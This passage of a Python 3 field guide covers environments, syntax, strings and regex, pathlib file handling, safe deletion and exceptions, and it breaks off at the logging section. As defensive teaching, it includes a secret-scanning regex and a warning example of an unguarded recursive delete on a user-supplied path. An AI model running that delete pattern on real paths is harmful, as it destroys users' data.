FIELD GUIDE · REV. 1.0 · PYTHON 3.11+

Python 3

Practical Field Guide & Cheat Sheet

A working reference for people who already know their way around a terminal. It covers the language only long enough to make the rest legible, then spends its pages where the time actually goes: files, subprocesses, HTTP, JSON, logging, CLIs, packaging, testing — and the specific ways Python scripts get you hurt.

TARGET

Python 3.11+

ASSUMES

Shell, files, CLI tools

DOES NOT ASSUME

Any prior Python

PLATFORM

macOS-first, POSIX-safe

LIBRARY POLICY

Stdlib first, deps when earned

BIAS

Safe defaults over clever ones

How to read this. Sections 1–4 are the floor — read them once, quickly. Sections 5–13 are the working core and are where most of your time will actually be spent. Sections 14–25 are what you reach for when a script hardens into a tool. Sections 26–28 are lookup material: troubleshooting, projects, and reference tables.

Every code block is runnable as written unless explicitly labeled otherwise. Blocks marked `WARNING` or `NEVER` are the ones that will cost you a weekend if ignored.

Contents

1. Fast start: the mental model 4
1.1 Sanity check 4
1.2 The actual starting point 4
1.3 Mutability, once, so it never bites you 4
2. Setup and environment 6
2.1 Which Python 6
2.2 Virtual environments 6
2.3 pyenv — optional 7
2.4 Editor 7
3. File layout that does not suck 8
3.1 Comments 9
4. Core syntax, compressed 10
4.1 Types 10
4.2 Operators 10
4.3 Truthiness 10
4.4 Control flow 11
4.5 Collection operations 11
4.6 Functions 11
5. Strings and text 13
5.1 f-strings 13
5.2 Core methods 13
5.3 Raw and multiline 13
5.4 Regex 14
6. Files and paths with `pathlib` 16
6.1 The core object 16
6.2 Read and write 17
6.3 Atomic writes 17
6.4 Backup before you overwrite 18
6.5 Safe deletion 19
6.6 Permissions 19
6.7 Iterating a tree 20
7. Errors and exceptions 21
7.1 The full shape 21
7.2 The common exceptions 21
7.3 Bad vs good 22
7.4 Custom exceptions 22
7.5 Top-level handling in a CLI 23
8. Logging instead of print soup 24
8.1 Configuration 24
8.2 Levels 24
8.3 Lazy formatting 24
8.4 Exceptions in logs 25
8.5 Logging to a file, and redaction 25
9. Command-line scripts with `argparse` 27
9.1 The working example 27
9.2 Argument reference 28
9.3 Custom validation 28
9.4 Subcommands 28
9.5 Dry-run 29
10. JSON, CSV, and config 30
10.1 JSON 30
10.2 Validating config 31
10.3 CSV 31
10.4 TOML 32
10.5 Environment variables 32
10.6 `.env` files 33
11. HTTP APIs safely 34
11.1 The minimum 34
11.2 The one you should actually copy 34
11.3 Retry, and what not to retry 36
11.4 TLS 36
11.5 Secrets 36
12. Subprocesses safely 38
12.1 The rule 38
12.2 Why the list matters 38
12.3 When is `shell=True` acceptable? 38
12.4 The arguments 38
12.5 Handling the failure 39
12.6 Streaming a long-running child 40
13. Automation recipes 41
13.1 Organize a folder by extension 41
13.2 Find large files 42
13.3 Hash files with SHA-256 43
13.4 Scan text files for a pattern 44
13.5 Call an API and save the result 45
13.6 JSON to CSV 47
13.7 Run an external command safely 48
14. Data structures that matter 50
14.1 Choosing 50
14.2 Comprehensions 50
14.3 Counting and grouping 50
14.4 Sorting 51
14.5 Dataclasses 51
14.6 Nested data 52
15. Type hints, without the religion 53
15.1 Syntax 53
15.2 A typed module 53
15.3 Common mistakes 54
15.4 Checking 54
16. Packaging basics 55
16.1 Layout 55
16.2 `pyproject.toml` 55
16.3 Editable install 56
16.4 Imports 56
17. Testing 57
17.1 `pytest` 57
17.2 Testing pure functions 57
17.3 Testing file operations 57
17.4 Expected errors 58
17.5 Mocking an API 58
17.6 Testing the CLI 59
17.7 What to test first 59
18. Debugging and inspection 60
18.1 Reading a traceback 60
18.2 Tools 60
18.3 `pdb` 61
18.4 The errors you'll actually see 61
19. Security footguns 62
19.1 The list 62
19.2 Safe path handling 63
19.3 Secrets 63
19.4 Restrictive file creation 63
19.5 Dependencies 64
20. Performance, without premature optimization ... 65
20.1 The three that actually matter 65

20.2 Streaming 65
20.3 Generators 66
20.4 `functools.cache` 66
20.5 When to stop using Python 66
21. SQLite 68
21.1 Parameterize. Always. 68
21.2 A usable wrapper 69
21.3 Bulk inserts 69
21.4 When SQLite fits 69
22. macOS notes 71
22.1 Which Python 71
22.2 TCC — the permission errors that aren't permission errors 71
22.3 LaunchAgents 71
22.4 `plistlib` 72
22.5 Calling macOS tools 73
23. Standard library modules worth knowing 75
24. Third-party packages worth the dependency 77
25. Quality-of-life tooling 78
25.1 `ruff` config 78
25.2 `pre-commit` 78
25.3 `ipython` 79
26. Troubleshooting 80
26.1 Diagnosis first 80
26.2 The table 80
27. Projects 84
27.1 1 — File inventory reporter 84
27.2 2 — Downloads organizer with dry-run 86
27.3 3 — Secret-safe API client 88
27.4 4 — SQLite-backed file index 90
27.5 5 — macOS plist reporter 93
28. Appendix: quick reference 96
28.1 A. Syntax 96
28.2 B. Collections 96
28.3 C. pathlib 97
28.4 D. Exceptions 97
28.5 E. argparse 98
28.6 F. logging 98
28.7 G. subprocess 99
28.8 H. JSON / CSV 99
28.9 I. Virtual environments 99
28.10 J. Security 100
28.11 K. Tooling 100
28.12 L. Diagnosis one-liners 101

01 Fast start: the mental model

Eight facts. Internalize them and the rest of the language stops surprising you.

Fact	What it means in practice
Top to bottom	A file is executed as a script, statement by statement. `def` and `class` are **executed** too — they bind a name. Nothing is hoisted.
Indentation is syntax	Blocks are defined by leading whitespace, not braces. Four spaces. Mixing tabs and spaces is a `TabError`.
Values have types, names don't	`x = 1` then `x = "one"` is legal. The **object** is typed; the name is just a label.
Names point to objects	Assignment binds, it does not copy. `b = a` for a list means both names see the same list.
Functions package behavior	First-class objects. Pass them, return them, store them in dicts.
Exceptions interrupt flow	Errors are not return codes. They unwind the stack until something catches them.
Modules are reuse	A `.py` file is a module. `import` executes it once and caches it.
Scripts need an entry point	Guard executable code behind `if __name__ == "__main__":` so importing the file doesn't run it.

1.1 Sanity check

Once. That's all it's worth.

```
print("Python is working")
```

1.2 The actual starting point

```
from pathlib import Path

downloads = Path.home() / "Downloads"

for path in downloads.iterdir():
    if path.is_file():
        print(path.name)
```

Six lines, and it already demonstrates the shape of most real Python: import from the standard library, build a path object with the `/` operator, iterate, filter, act. The `/` there is `Path.__truediv__` — operator overloading in service of readability, which is a very Python thing to do.

This is closer to real Python than any amount of `hello world` repetition. Note what is **absent**: no string concatenation of paths, no manual `os.listdir` + `os.path.join` dance, no platform-specific separators.

> **NOTE**
> `Path.home()` respects `$HOME` on POSIX and the user profile on Windows. It does not shell-expand `~` — that's `Path("~/x").expanduser()`.

1.3 Mutability, once, so it never bites you

The single most common beginner bug in Python is not a syntax error. It's this:

```
a = [1, 2, 3]
b = a          # b is not a copy — it is the same list
b.append(4)
print(a)       # [1, 2, 3, 4]
```

Category	Types	Copy how
Immutable	`int`, `float`, `str`, `bytes`, `tuple`, `frozenset`, `bool`, `None`	No copy needed — rebinding is safe
Mutable	`list`, `dict`, `set`, `bytearray`, most class instances	`list(x)`, `dict(x)`, `x.copy()`, or `copy.deepcopy(x)` for nesting

FOOTGUN

Mutable default arguments. The default is evaluated once, at function definition time, and shared across every call.

```
def bad(item, into=[]):      # BUG — `into` persists between calls
    into.append(item)
    return into

def good(item, into: list | None = None) -> list:
    if into is None:
        into = []
    into.append(item)
    return into
```

02 Setup and environment

2.1 Which Python

```
python3 --version
python3 -m pip --version
python3 -c "import sys; print(sys.executable)"
```

Command	What it actually resolves to
`python`	Historically Python 2. On modern macOS it may not exist at all outside a venv. Inside an active venv it points at that venv's interpreter — which is why `python` is correct **there** and risky everywhere else.
`python3`	The system or Homebrew Python 3. Use this to **create** environments.
`pip`	A shim script whose shebang may point at a different interpreter than the `python3` on your `PATH`. This is the classic "pip installed it but Python can't import it" bug.
`python -m pip`	Runs pip **as a module of the interpreter you named**. Always unambiguous. Use this.

> **DO THIS**
> Never type bare `pip`. Type `python -m pip` (in a venv) or `python3 -m pip` (outside one). This one habit eliminates an entire class of bug.

2.2 Virtual environments

A venv is a directory containing a copy/symlink of an interpreter and its own `site-packages`. It is not magic and it is not a container. `activate` simply prepends the venv's `bin/` to your `PATH`.

```
cd ~/projects/my-tool
python3 -m venv .venv
source .venv/bin/activate        # bash/zsh. fish: source .venv/bin/activate.fish
python -m pip install --upgrade pip
python -m pip install requests
python -m pip freeze > requirements.txt
deactivate
```

Recreating an environment from a lockfile:

```
python3 -m venv .venv
source .venv/bin/activate
python -m pip install -r requirements.txt
```

Rule	Why
One venv per project	Dependency sets conflict. A shared "dev" venv becomes a landfill within a month.
Never commit `.venv/`	It contains absolute paths and platform-specific binaries. Add it to `.gitignore`.
Do commit `requirements.txt` or `pyproject.toml`	That's the reproducible artifact.

Never `sudo pip install`	You are writing into a directory the OS package manager owns. On macOS this can break system tooling; on Debian-family Linux it fights `apt`.
`--user` is not a substitute	It's just a different global namespace with the same collision problems.

MACOS

The `/usr/bin/python3` shipped by Apple is there for **Apple's** tooling. It is version-locked to the OS and can be replaced by a system update. Do not install into it, do not rely on its version.

Install a real Python:

```
brew install python@3.12
brew --prefix python@3.12          # e.g. /opt/homebrew/opt/python@3.12
```

On Apple Silicon, Homebrew lives under `/opt/homebrew`. On Intel Macs it lives under `/usr/local`. Hardcoding either is a portability bug — shell out to `brew --prefix` or read `sys.executable`.

Newer Python and Homebrew ship an "externally managed environment" marker (PEP 668) which makes `pip install` into the **base** interpreter fail loudly. This is a feature. The correct response is to create a venv, not to pass `--break-system-packages`.

2.3 pyenv — optional

Worth it only if you need to hold multiple Python **versions** simultaneously (testing a library across 3.10–3.13, or a project pinned to an old runtime). If every project you own runs on one Python, skip it; a venv per project is enough.

```
brew install pyenv
pyenv install 3.12.7
pyenv local 3.12.7        # writes .python-version in this directory
```

2.4 Editor

Anything with a language server. The two that matter: point the editor at `.venv/bin/python` as the interpreter (otherwise it lints against the wrong `site-packages` and lies to you), and turn on format-on-save with `ruff`.

03 File layout that does not suck

Top-level code is code that runs on import. Keep it to imports and constants.

```
"""Report which files in a directory tree exceed a size threshold."""

from pathlib import Path

# Anything above this is worth a human looking at, empirically.
SIZE_THRESHOLD_BYTES = 100 * 1024 * 1024


def list_files(directory: Path) -> list[Path]:
    return [path for path in directory.iterdir() if path.is_file()]


def main() -> int:
    directory = Path.home() / "Downloads"

    if not directory.is_dir():
        print(f"not a directory: {directory}")
        return 2

    for path in list_files(directory):
        print(path.name)

    return 0


if __name__ == "__main__":
    raise SystemExit(main())
```

Why this shape

Property	Consequence
Logic lives in functions	`list_files` is importable and testable without running the CLI.
`main()` returns an `int`	Exit status is a **value**, not a side effect. You can unit-test it.
`raise SystemExit(main())`	Cleaner than `sys.exit()` — no import needed, and it's an exception so `finally` blocks still run.
`__name__` guard	Importing this module from a test or another script does not execute `main()`.
Constants are `UPPER_SNAKE`	Not enforced, but universally read as "do not reassign."

Exit code	Convention
`0`	Success
`1`	Generic failure
`2`	Usage / argument error (this is what `argparse` uses)
`126`	Command found but not executable

`127`	Command not found
`130`	Terminated by SIGINT (Ctrl-C)

3.1 Comments

Comment the **why**. The **what** is in the code, and if it isn't, rewrite the code.

```
# Bad — restates the line
count += 1  # increment count

# Good — records a decision the reader can't reconstruct
# The API rate-limits at 10 req/s but bursts to 20; sleep is cheaper than a 429 retry.
time.sleep(0.1)
```

04 Core syntax, compressed

4.1 Types

Type	Literal	Notes
`int`	`42`, `0x2a`, `1_000_000`	Arbitrary precision. No overflow.
`float`	`3.14`, `1e-9`	IEEE 754 double. `0.1 + 0.2 != 0.3`. Use `decimal.Decimal` for money.
`bool`	`True`, `False`	A subclass of `int`. `True + True == 2`.
`str`	`"text"`, `'text'`	Immutable, Unicode. Not bytes.
`bytes`	`b"\\x00\\xff"`	Immutable raw octets. `.decode()` to get `str`.
`None`	`None`	The absence of a value. Test with `is None`, never `== None`.
`list`	`[1, 2, 3]`	Ordered, mutable, indexable.
`tuple`	`(1, 2)`, `(1,)`	Ordered, immutable. The comma makes the tuple, not the parens.
`dict`	`{"a": 1}`	Key→value. Insertion-ordered since 3.7 (guaranteed).
`set`	`{1, 2}`	Unordered, unique, mutable. `{}` is an empty **dict** — use `set()`.

4.2 Operators

Op	Meaning	Op	Meaning
`/`	True division → always `float`	`//`	Floor division → `int` if both are `int`
`%`	Modulo	`**`	Power
`==`	Value equality	`is`	**Identity** — same object in memory
`in`	Membership	`not in`	Negated membership
`and` `or`	Short-circuit, return an **operand** not a bool	`not`	Logical negation
`:=`	Walrus — assign inside an expression	`@`	Matrix mul (numpy); also decorator syntax

> **WARNING**
> `is` compares **identity**, not value. `a is b` being `True` for small ints and short strings is an implementation detail of CPython's interning, not a language guarantee. Use `is` only for `None`, `True`, `False`, and sentinel objects.

4.3 Truthiness

Falsy	Everything else is truthy
`False`, `None`, `0`, `0.0`, `""`, `[]`, `()`, `{}`, `set()`, `range(0)`	Including `"0"`, `"False"`, `[0]`, and `-1`.

```
# Idiomatic
if not items:
    return

# Not idiomatic, and wrong if items is None
```

```
if len(items) == 0:
    return
```

4.4 Control flow

```
for i, name in enumerate(names, start=1):
    if name.startswith("_"):
        continue                    # skip to next iteration
    if name == "STOP":
        break                       # leave the loop entirely
else:
    # Runs only if the loop finished WITHOUT hitting `break`.
    print("no STOP sentinel found")

while queue:
    item = queue.pop()
```

The `for ... else` construct is genuinely useful for search loops and is rarely taught. `else` means "no break happened."

4.5 Collection operations

Task	Idiom	Note
Index	`items[0]`, `items[-1]`	Negative indexes count from the end.
Slice	`items[1:4]`, `items[::2]`, `items[::-1]`	Never raises `IndexError`. Returns a new object.
Length	`len(items)`	O(1) for builtins.
Append	`items.append(x)`	Amortized O(1).
Extend	`items.extend(other)`	Not `items.append(other)` — that nests.
Membership	`x in items`	O(n) for `list`, O(1) for `set` / `dict`.
Sort in place	`items.sort(key=len)`	Returns `None`. Common bug: `x = items.sort()`.
Sorted copy	`sorted(items, key=len, reverse=True)`	Returns a new list.
Dict get w/ default	`d.get("k", fallback)`	Does not raise `KeyError`.
Dict iterate	`for k, v in d.items():`	`.keys()` and `.values()` also exist.
Merge dicts	`a | b`	3.9+. `b` wins on conflict.
Unpack	`first, *rest = items`	Starred target absorbs the remainder.
Zip	`zip(a, b, strict=True)`	`strict=True` (3.10+) raises on length mismatch instead of silently truncating.

4.6 Functions

```
def fetch(
    url: str,                       # positional-or-keyword
    *,                              # everything after this is keyword-only
    timeout: float = 30.0,
    retries: int = 3,
```

```
) -> dict:
    ...
```

Forcing keyword-only arguments with a bare `*` is the single cheapest readability win in Python. `fetch(url, 30, 3)` at a call site is unreadable; `fetch(url, timeout=30, retries=3)` is not.

05 Strings and text

5.1 f-strings

```
name = "config.json"
size = 20481
ratio = 0.87312

print(f"{name}: {size:,} bytes")          # config.json: 20,481 bytes
print(f"{ratio:.1%}")                     # 87.3%
print(f"{size:>10}")                      # right-align in 10 cols
print(f"{name=}")                         # name='config.json'  <- debugging gold
print(f"{size / 1024:.1f} KiB")           # expressions are allowed
```

The `=` suffix (3.8+) prints `expr=value` and is the fastest print-debugging tool in the language.

5.2 Core methods

Method	Behavior
`.strip()` / `.lstrip()` / `.rstrip()`	Removes **whitespace** by default. With an argument it removes any char **in that set**, not the substring. `"xxhixx".strip("x")` → `"hi"`, but so does `.strip("xy")`.
`.removeprefix(p)` / `.removesuffix(s)`	3.9+. This is what you actually wanted when you reached for `.strip(p)`.
`.split(sep)`	No arg → splits on any whitespace run and drops empties. With an arg → splits on exactly that, keeping empties. These behave differently. `maxsplit=1` is often what you want.
`.join(iterable)`	`", ".join(parts)`. Separator is the receiver. Fails if any element is not a `str`.
`.replace(a, b, count)`	Returns a new string. Strings are immutable — nothing is modified in place.
`.startswith(x)` / `.endswith(x)`	Accepts a **tuple**: `name.endswith((".log", ".txt"))`.
`.lower()`	Simple lowercase. Fine for ASCII.
`.casefold()`	Aggressive, Unicode-aware. Use for case-**insensitive comparison** (German ß → ss). Not for display.
`.encode()` / `bytes.decode()`	`str` ↔ `bytes`. Always name the codec: `.encode("utf-8")`.

5.3 Raw and multiline

```
pattern = r"\d+\.\d+"          # raw: backslashes are literal. Always use for regex.
path = r"C:\Users\new"         # without r, \n is a newline. Windows-specific.

sql = """
SELECT id, body
FROM notes
WHERE id = ?
"""
```

5.4 Regex

```
import re

# Compile module-level constants. Verbose mode lets you comment the pattern.
TOKEN_PATTERN = re.compile(
    r"(api[_-]?key|token|secret)\s*=\s*['\"]?([^'\"\s]+)",
    re.IGNORECASE,
)

line = "API_TOKEN=abc123"
match = TOKEN_PATTERN.search(line)

if match:
    print("possible secret assignment found")
```

Call	Returns
`re.search(p, s)`	First match anywhere, or `None`.
`re.match(p, s)`	Match anchored at the **start** only. Rarely what you want.
`re.fullmatch(p, s)`	Must consume the whole string. Good for validation.
`re.findall(p, s)`	List of strings (or tuples if there are groups). No positions.
`re.finditer(p, s)`	Iterator of `Match` objects. Use this for large inputs.
`re.sub(p, repl, s)`	Substitution. `repl` may be a function.
`m.group(0)`	The whole match. `m.group(1)` is the first capture group.
`(?P<name>...)`	Named group → `m.group("name")` or `m["name"]`.
`(?:...)`	Non-capturing group. Use it when you only need grouping for alternation.

When regex is right

Line-oriented text with a stable, local shape: log lines, `key=value` pairs, ISO timestamps, IP addresses in a stream of prose, extracting a field you already know the delimiter of.

When regex is wrong

> **NEVER**
> Do not parse **nested** or **recursive** structures with regex: HTML, XML, JSON, source code, quoted CSV, MIME. Regular expressions cannot count nesting depth. Use `json`, `csv`, `lxml` / `beautifulsoup4`, `email`, or a real parser. The regex will work on your ten test inputs and fail silently on the eleventh.

Also: do not validate email addresses with regex. The grammar (RFC 5322) is baroque and every "email regex" on the internet rejects valid addresses. Check for an `@`, then send a confirmation message. That is the only real validation.

Recipe: normalize filenames

```
import re
import unicodedata

UNSAFE = re.compile(r"[^A-Za-z0-9._-]+")
```

```
def safe_filename(name: str, max_len: int = 120) -> str:
    """Collapse a display name into a filesystem-safe slug."""
    # Decompose accents, then drop the combining marks.
    name = unicodedata.normalize("NFKD", name)
    name = name.encode("ascii", "ignore").decode("ascii")
    name = UNSAFE.sub("-", name).strip("-.")
    return (name or "untitled")[:max_len]


print(safe_filename("Q3 Résumé (final)!!.pdf"))   # Q3-Resume-final-.pdf
```

Recipe: redact secrets from output

```
import re

SECRET_LINE = re.compile(
    r"(?i)\b((?:api[_-]?key|token|secret|password|passwd|bearer)\S*)"
    r"(\s*[:=]\s*|\s+)"
    r"(\S+)"
)


def redact_line(line: str) -> str:
    return SECRET_LINE.sub(lambda m: f"{m.group(1)}{m.group(2)}***REDACTED***", line)


print(redact_line("Authorization: Bearer sk-live-9f2b7"))
# Authorization: Bearer ***REDACTED***
```

WARNING

Regex finds **candidates**. It does not prove intent or correctness. A secret-scanning regex will produce false positives (an example in a README) and false negatives (a base64-wrapped credential, a key split across lines). Treat every hit as a lead, not a verdict — and never build an alerting pipeline that assumes the absence of a hit means the absence of a secret.

06 Files and paths with `pathlib`

Stop using `os.path`. `pathlib` is not sugar; it eliminates a class of bugs by making paths a **type** instead of a string that happens to contain slashes.

6.1 The core object

```
from pathlib import Path

cwd = Path.cwd()
home = Path.home()
here = Path(__file__).resolve().parent      # directory of THIS script

config = home / ".config" / "mytool" / "config.json"
```

Attribute	On `/Users/x/logs/app.2024.log`	Note
`.name`	`app.2024.log`	Filename with extension
`.stem`	`app.2024`	Name minus the **last** suffix only
`.suffix`	`.log`	Last extension, with the dot
`.suffixes`	`['.2024', '.log']`	Careful — dots in names produce surprises
`.parent`	`/Users/x/logs`	`.parent.parent` walks up
`.parents`	sequence	`p.parents[1]`
`.parts`	`('/', 'Users', 'x', ...)`	Tuple of components
`.anchor`	`/`	Drive + root

Method	Behavior
`.exists()`	Follows symlinks. A broken symlink returns `False`.
`.is_file()` / `.is_dir()`	Also follow symlinks. Both `False` for a nonexistent path — no exception.
`.is_symlink()`	Does **not** follow. This is how you detect a link.
`.resolve()`	Absolutize + resolve symlinks + collapse `..`. This is your security primitive.
`.expanduser()`	Turns `~/x` into `/Users/you/x`. `Path` does **not** do this automatically.
`.stat()`	`.st_size`, `.st_mtime`, `.st_mode`. Raises if missing.
`.mkdir(parents=True, exist_ok=True)`	`mkdir -p`. Without `exist_ok`, raises `FileExistsError`.
`.unlink(missing_ok=True)`	Delete a file. `missing_ok` is 3.8+.
`.rmdir()`	Only removes an **empty** directory. For recursive removal: `shutil.rmtree`.
`.rename(target)`	Fails across filesystems; on POSIX silently clobbers the target.
`.replace(target)`	Atomic overwrite on the same filesystem. Prefer this.

`.iterdir()`	One level. Lazy.
`.glob("*.log")`	One level, shell-style pattern.
`.rglob("*.log")`	Recursive. Equivalent to `.glob("**/*.log")`.
`.walk()`	3.12+. `os.walk` semantics, `Path` objects.

6.2 Read and write

```
from pathlib import Path

p = Path("notes.txt")

# Always specify the encoding. The default is locale-dependent and will
# eventually hand you a UnicodeDecodeError in production and not in dev.
text = p.read_text(encoding="utf-8")
p.write_text(text.upper(), encoding="utf-8")

raw: bytes = p.read_bytes()
p.write_bytes(raw)

# Append, or stream a large file — read_text() loads it all into memory.
with p.open("a", encoding="utf-8") as fh:
    fh.write("one more line\n")

with p.open("r", encoding="utf-8", errors="replace") as fh:
    for line in fh:                      # lazy, line by line, constant memory
        process(line.rstrip("\n"))
```

Mode	Meaning
`"r"`	Read text (default). Fails if missing.
`"w"`	Write text. Truncates immediately on open.
`"a"`	Append text. Creates if missing.
`"x"`	Exclusive create. Fails if the file already exists. Use this when a collision is a bug.
`"rb"` / `"wb"`	Binary. No `encoding` argument — you get `bytes`.
`"r+"`	Read and write, no truncation. Rarely what you want.

`errors=`	Behavior on undecodable bytes
`"strict"`	Default. Raises `UnicodeDecodeError`.
`"replace"`	Substitutes U+FFFD. Good for **display** of dirty logs.
`"ignore"`	Silently drops bytes. Data loss — you almost never want this.
`"surrogateescape"`	Round-trips undecodable bytes losslessly. Correct for filenames and for read-modify-write of unknown-encoding files.

6.3 Atomic writes

Writing directly to a destination means that a crash, a full disk, or a `SIGKILL` halfway through leaves a truncated file where a valid one used to be. Write to a temporary file on the **same filesystem**, then `replace()` — which is an atomic rename at the syscall level.

```
from pathlib import Path
import tempfile


def atomic_write_text(path: Path, content: str) -> None:
    path.parent.mkdir(parents=True, exist_ok=True)

    with tempfile.NamedTemporaryFile(
        "w",
        encoding="utf-8",
        dir=path.parent,          # same filesystem, or replace() is not atomic
        delete=False,
    ) as tmp:
        tmp.write(content)
        tmp_path = Path(tmp.name)

    tmp_path.replace(path)
```

WARNING

`dir=path.parent` is not optional. `tempfile`'s default is `/tmp` (or `$TMPDIR`), which on macOS and most Linux setups is a **different** filesystem or mount. A cross-device `replace()` degrades to copy-then-delete, which is not atomic — and may raise `OSError: [Errno 18] Invalid cross-device link`.

If you need durability across a power loss (not just a crash), add `tmp.flush()` + `os.fsync(tmp.fileno())` before the close, and fsync the parent directory afterwards. For most scripts, this is overkill.

6.4 Backup before you overwrite

```
from datetime import datetime, timezone
from pathlib import Path
import shutil


def backup(path: Path) -> Path | None:
    if not path.is_file():
        return None
    stamp = datetime.now(timezone.utc).strftime("%Y%m%dT%H%M%SZ")
    target = path.with_name(f"{path.name}.{stamp}.bak")
    shutil.copy2(path, target)          # copy2 preserves mtime and mode
    return target
```

`shutil` call	What it preserves
`copy(src, dst)`	Content + permission bits
`copy2(src, dst)`	Content + permissions + timestamps + as much metadata as the platform allows
`copytree(src, dst, dirs_exist_ok=True)`	Recursive directory copy
`move(src, dst)`	Rename if possible, else copy+delete. Works across filesystems.
`rmtree(path)`	Recursive delete. No confirmation, no undo.
`disk_usage(path)`	`(total, used, free)` in bytes
`which("rg")`	Resolve an executable on `PATH`, or `None`. Use before shelling out.

6.5 Safe deletion

NEVER

```
shutil.rmtree(user_supplied_path)      # one empty string away from catastrophe
```

`Path("")` resolves to the **current directory**. A config typo, an unset environment variable, or an argparse default of `""` is all it takes.

Guarded delete

```
from pathlib import Path
import shutil

PROTECTED = {Path("/"), Path.home(), Path("/Users"), Path("/etc"), Path("/System")}


def safe_rmtree(target: Path, *, must_be_under: Path, dry_run: bool = True) -> None:
    """Delete `target`, but only if it genuinely lives under `must_be_under`."""
    target = target.expanduser().resolve()
    root = must_be_under.expanduser().resolve()

    if target in PROTECTED or target == root:
        raise ValueError(f"refusing to delete protected path: {target}")

    # is_relative_to (3.9+) is the containment check. Do NOT use str.startswith:
    # "/data/safe-evil" startswith "/data/safe" and that is a directory traversal.
    if not target.is_relative_to(root):
        raise ValueError(f"{target} escapes {root}")

    if not target.exists():
        return

    if dry_run:
        print(f"[dry-run] would remove {target}")
        return

    shutil.rmtree(target)
```

That `is_relative_to` check, applied after `.resolve()`, is your defense against directory traversal (`../../../etc`) and against symlinks pointing out of the sandbox. Resolve first, **then** compare — the order matters.

6.6 Permissions

```
from pathlib import Path
import os
import stat

p = Path.home() / ".config" / "mytool" / "credentials"
p.parent.mkdir(parents=True, exist_ok=True)
p.touch(mode=0o600, exist_ok=True)
p.chmod(0o600)                       # rw for owner only

mode = p.stat().st_mode
print(stat.filemode(mode))           # -rw-------
print(oct(stat.S_IMODE(mode)))       # 0o600
```

POSIX
`chmod` is advisory on Windows and largely a no-op there. `os.umask` affects the mode a **new** file gets; an explicit `chmod` after creation is the only reliable way to guarantee `0600`. And note the race: the file exists with default permissions for the instant between `touch` and `chmod`. Use `os.open(path, os.O_CREAT | os.O_EXCL | os.O_WRONLY, 0o600)` if that window matters to you.

6.7 Iterating a tree

```
from collections import Counter
from pathlib import Path

def extension_census(root: Path) -> Counter[str]:
    counts: Counter[str] = Counter()
    for path in root.rglob("*"):
        if path.is_file() and not path.is_symlink():
            counts[path.suffix.lower() or "<none>"] += 1
    return counts
```

FOOTGUN
`rglob` follows directory symlinks in some versions and can loop forever on a self-referential link. It also raises `PermissionError` mid-iteration on directories you can't read — which kills the whole loop, not just that branch. For hardened traversal, use `os.walk(root, onerror=...)` and skip symlinked dirs explicitly, or wrap the body in a `try`.

07 Errors and exceptions

An exception is not a return value. It propagates up the call stack until something handles it, and if nothing does, the interpreter prints a traceback and exits non-zero. That default behavior is **correct** for scripts. Do not fight it.

7.1 The full shape

```
try:
    data = path.read_text(encoding="utf-8")
except FileNotFoundError:
    logger.error("config missing: %s", path)
    return 2
except PermissionError as exc:
    logger.error("cannot read %s: %s", path, exc)
    return 77
else:
    # Runs only if NO exception fired. Keeps the try block minimal —
    # you don't want the parse below accidentally caught by the handlers above.
    config = json.loads(data)
finally:
    # Always runs: success, exception, or return.
    logger.debug("finished attempting to load %s", path)
```

Keep the `try` block as small as possible. A wide `try` catches errors you didn't mean to catch and turns a bug into a silent fallback.

7.2 The common exceptions

Exception	Fires when
`FileNotFoundError`	Open/stat on a missing path. Subclass of `OSError`.
`PermissionError`	EACCES/EPERM. Also `OSError`. On macOS, frequently means TCC denied you, not that the mode bits are wrong.
`IsADirectoryError` / `NotADirectoryError`	Path type mismatch. Both `OSError`.
`ValueError`	Right type, wrong value. `int("abc")`.
`TypeError`	Wrong type entirely. `"a" + 1`.
`KeyError`	Missing dict key. `d["nope"]`.
`IndexError`	List index out of range.
`AttributeError`	`None.foo` — usually means an earlier call returned `None` and you didn't check.
`ZeroDivisionError`	Self-explanatory.
`json.JSONDecodeError`	Malformed JSON. Subclass of `ValueError`.
`UnicodeDecodeError`	Bytes that aren't valid in the declared codec. Subclass of `ValueError`.
`subprocess.CalledProcessError`	Non-zero exit with `check=True`. Has `.returncode`, `.stdout`, `.stderr`.
`subprocess.TimeoutExpired`	`timeout=` elapsed.

`requests.HTTPError`	Raised by `.raise_for_status()` on 4xx/5xx.
`requests.ConnectionError` / `.Timeout`	Network layer. Both subclass `requests.RequestException`.
`KeyboardInterrupt`	Ctrl-C. Not a subclass of `Exception` — `except Exception` will not catch it, and that is deliberate.

7.3 Bad vs good

```
# ─── BAD ──────────────────────────────────────────────────
try:
    result = do_everything()
except Exception:
    pass                                # you have now hidden a bug forever

# ─── BAD ──────────────────────────────────────────────────
try:
    value = config["port"]
except:                                 # bare except also catches KeyboardInterrupt
    value = 8080                        # and SystemExit. Ctrl-C stops working.

# ─── GOOD ─────────────────────────────────────────────────
value = config.get("port", 8080)        # no exception needed at all

# ─── GOOD: catch narrowly, add context, re-raise ──────────
try:
    config = json.loads(path.read_text(encoding="utf-8"))
except json.JSONDecodeError as exc:
    raise ValueError(f"{path} is not valid JSON (line {exc.lineno})") from exc
```

The `from exc` preserves the original traceback under `__cause__`, so you get **both** frames: the parse error and your contextual wrapper. Omitting it (`raise ValueError(...)` alone inside an `except`) still chains implicitly via `__context__`, but `from exc` states the causality explicitly. `raise ... from None` deliberately **suppresses** the original — use it when the inner exception is noise.

> **DO THIS**
> Catch the narrowest exception that you can actually **do something about**. If you can't do anything about it, don't catch it — let it propagate and produce a traceback. A traceback is a bug report. A swallowed exception is a haunting.

7.4 Custom exceptions

Worth it as soon as a module has more than one distinct failure mode a **caller** would want to distinguish.

```
class ToolError(Exception):
    """Base for every error this tool raises deliberately."""


class ConfigError(ToolError):
    """The configuration is present but wrong."""


class UpstreamError(ToolError):
    """The remote API failed in a way we cannot fix."""
    def __init__(self, status: int, message: str) -> None:
        super().__init__(f"upstream returned {status}: {message}")
        self.status = status
```

A single base class means callers can write `except ToolError:` to catch "anything this tool meant to raise" while still letting genuine bugs (`TypeError`, `AttributeError`) crash loudly. That distinction — **expected failure** vs **bug** — is the whole point.

7.5 Top-level handling in a CLI

```
import logging
import sys

logger = logging.getLogger(__name__)


def main() -> int:
    try:
        run()
    except ToolError as exc:
        logger.error("%s", exc)         # user-facing: one clean line, no traceback
        return 1
    except KeyboardInterrupt:
        logger.warning("interrupted")
        return 130
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
```

Unexpected exceptions are deliberately **not** caught here. They should produce a traceback. You want to see the bug.

08 Logging instead of print soup

